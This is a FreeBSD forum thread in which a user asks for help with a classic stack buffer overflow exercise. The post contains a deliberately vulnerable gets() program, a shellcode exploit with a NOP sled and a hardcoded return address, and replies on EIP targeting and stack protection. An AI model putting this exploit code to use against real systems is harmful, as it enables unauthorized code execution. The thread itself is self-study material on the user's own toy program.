182a4
![]() |
|
|
|
|
|||||||
| Userland Programming & Scripting C, Shell, Perl, Sed & Awk |
![]() |
|
|
Thread Tools | Display Modes |
|
#1
|
|||
|
|||
|
I have written a program "master.c" that is using gets and is vulnerable to buffer overflow:
Code:
//----- master.c -- MASTER PROGRAM ------------------------------
#include <stdio.h>
int main(int argc, char** argv)
{
char buf[100];
printf("Please enter your name: ");
fflush(stdout);
gets(buf);
printf("Hello \"%s\"\n", buf);
}
void notcalled(void)
{
printf("This is a secret string");
}
Code:
//---- shellcode.c --- MY PROGRAM ----------------------------
#include <stdio.h>
char shellops[] = "\xeb\x0e\x5e\x31\xc0\x88\x46\x07\x50\x50\x56\xb0\x3b\x50\xcd\x80\xe8\xed\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
#define NOP 0x90
#define BUFLEN 108
#define RETADDR 0xbfbffa4c
int main(void)
{
char buf[BUFLEN];
int i;
for (i=0; i<BUFLEN; i+=4)
*(long *)&buf[i] = RETADDR;
for (i=0; i<50; i++)
*(buf+i) = NOP;
memcpy(buf+i, shellops, strlen(shellops));
printf("%s", buf);
return 0;
}
When it comes to passing the input string (i.e. the buffer containing the shell spawning code) to the master program, I have simply used the piped out of my program to the master program (i.e. standard output and standard input). i.e. TY@Bash$ ./shellcode | ./master Unfortunately, this trick doesn't work for me, even with a lot of variations in address and the code. I need to know all the possible ways to pass the data (containing the OP codes) to the master program ... when required by GETS(). ** As a verification, I have already checked the code overflow the buffer of my own program i.e. shellcode.c and found that it spawns the shell successfully. I have even tried adding an instruction for "INT3" it works fine. This leads me conclude the following: - Either I am not passing the string to the master program in the correct way. - Or I am unable to locate the correct address of the variable 'buf' in master.c to return to. Last edited by DutchDaemon; January 7th, 2010 at 00:24. Reason: added [code] tags, killed fonts |
|
#2
|
||||
|
||||
|
Please use [code] tags and leave the fonts alone.
( Posting and Editing in the FreeBSD Forums )
__________________
FreeBSD Forums: Information for New Members | FreeBSD Forums Rules FreeBSD Resources: The FreeBSD Handbook | Manuals | FAQ | Wiki Before you post: How to ask questions the smart way If you must know .. So, what does an Adminstrator/Moderator do? ---> Do not PM me with FreeBSD questions. I do not work here. <--- |
| The Following User Says Thank You to DutchDaemon For This Useful Post: | ||
TariqYousaf (January 7th, 2010) | ||
|
#3
|
||||
|
||||
|
__________________
Senior UNIX Engineer at Unix Support Nederland Experience is something you don't get until just after you need it. |
|
#4
|
||||
|
||||
|
When i tested same mechanigs long time ago, i used many NOPs for more graceful EIP "landing"
|
|
#5
|
||||
|
||||
|
Quote:
![]() You basically get the correct point to insert the 'new' EIP. The new address points somewhere in the middle of the NOP slide. Then you don't have to be so exact. At the end of the NOP slide is the shell code.
__________________
Senior UNIX Engineer at Unix Support Nederland Experience is something you don't get until just after you need it. |
|
#6
|
|||
|
|||
|
But I have tried executing some other commands like '/usr/bin/who' , '/bin/hostname' but a set of commands like '/bin/sh', '/bin/bash', '/bin/ls' don't work... I wonder there is any special difference between these commands....!!!
Thanks for your worth it comments though, I'm trying the way out with more NOPs to hit the right address. |
|
#7
|
||||
|
||||
|
Quote:
![]() You need to make absolutely sure you've got the right spot where EIP gets overwritten. This is usually the hardest part of the exploit.
__________________
Senior UNIX Engineer at Unix Support Nederland Experience is something you don't get until just after you need it. |
|
#8
|
|||
|
|||
|
does freebsd use a non executable stack?
maybe returning into libc is what you need to do. |
|
#9
|
||||
|
||||
|
AFAIK no. But if I'm not mistaken 8.0-release was the first release to use SSP (stack-smashing protector) aka ProPolice. Which uses canaries to detect/prevent stack based overflows. This might be the reason why it's not succeeding.
http://en.wikipedia.org/wiki/Buffer_overflow_protection Quote:
__________________
Senior UNIX Engineer at Unix Support Nederland Experience is something you don't get until just after you need it. |
|
#10
|
|||
|
|||
|
Quote:
sorry for the typo I meant '/usr/local/bin/bash'.Quote:
1- I'm using FreeBSD 4.8. 2- I've successfully smashed the stack and executed the code to run the commands like 'who', 'hostname' and 'pwd'. 3- I'm unable to execute 'sh', 'bash' and 'ls'. Please advise!!! |
|
#11
|
|||
|
|||
|
Is there any special difference in the internal working of 'sh' & 'bash' as compared to 'who' & 'hostname'?
|
|
#12
|
|||
|
|||
|
Hey guys... I've figured out the reason why the shell is not getting spawned but still don't know beneath the surface i.e. how to get it solved; so I need to give you guys an SOS call ...
![]() Actually, shell is generated as a Zombie process for a couple of seconds and then it gets destroyed. Could you please suggest me a way out of this...! |
|
#13
|
|||
|
|||
|
Morever, the execve man says:
Code:
execve() does not return on success, and the text, data, bss, and stack of the calling process are overwritten by that of the program loaded. The program invoked inherits the calling process's PID Last edited by DutchDaemon; May 13th, 2012 at 23:37. |
|
#14
|
|||
|
|||
|
Tariq,
Did you find any solution to the problem? Could you please post the assembly code and the debugger code also? Thanks Jeff |
![]() |
| Tags |
| buffer overflow, freebsd, shellcode |
| Thread Tools | |
| Display Modes | |
|
|
Similar Threads
|
||||
| Thread | Thread Starter | Forum | Replies | Last Post |
| Frame Buffer in FreeBSD (fbsplash) | CdK1 | Multimedia | 15 | March 30th, 2013 08:00 |
| Screen buffer / Scroll Lock | FestusHagen | General | 11 | April 29th, 2011 19:02 |
| [Solved] tightvnc in jail. Problem with spawning terminal devices and desktop startup. | MG | X.Org | 1 | January 7th, 2010 01:19 |
| PROBLEM samba Error = No buffer | eazysnatch | Web & Network Services | 1 | September 18th, 2009 11:25 |
| [Solved] sendto: No buffer space | anujshrestha | Networking | 4 | May 18th, 2009 10:03 |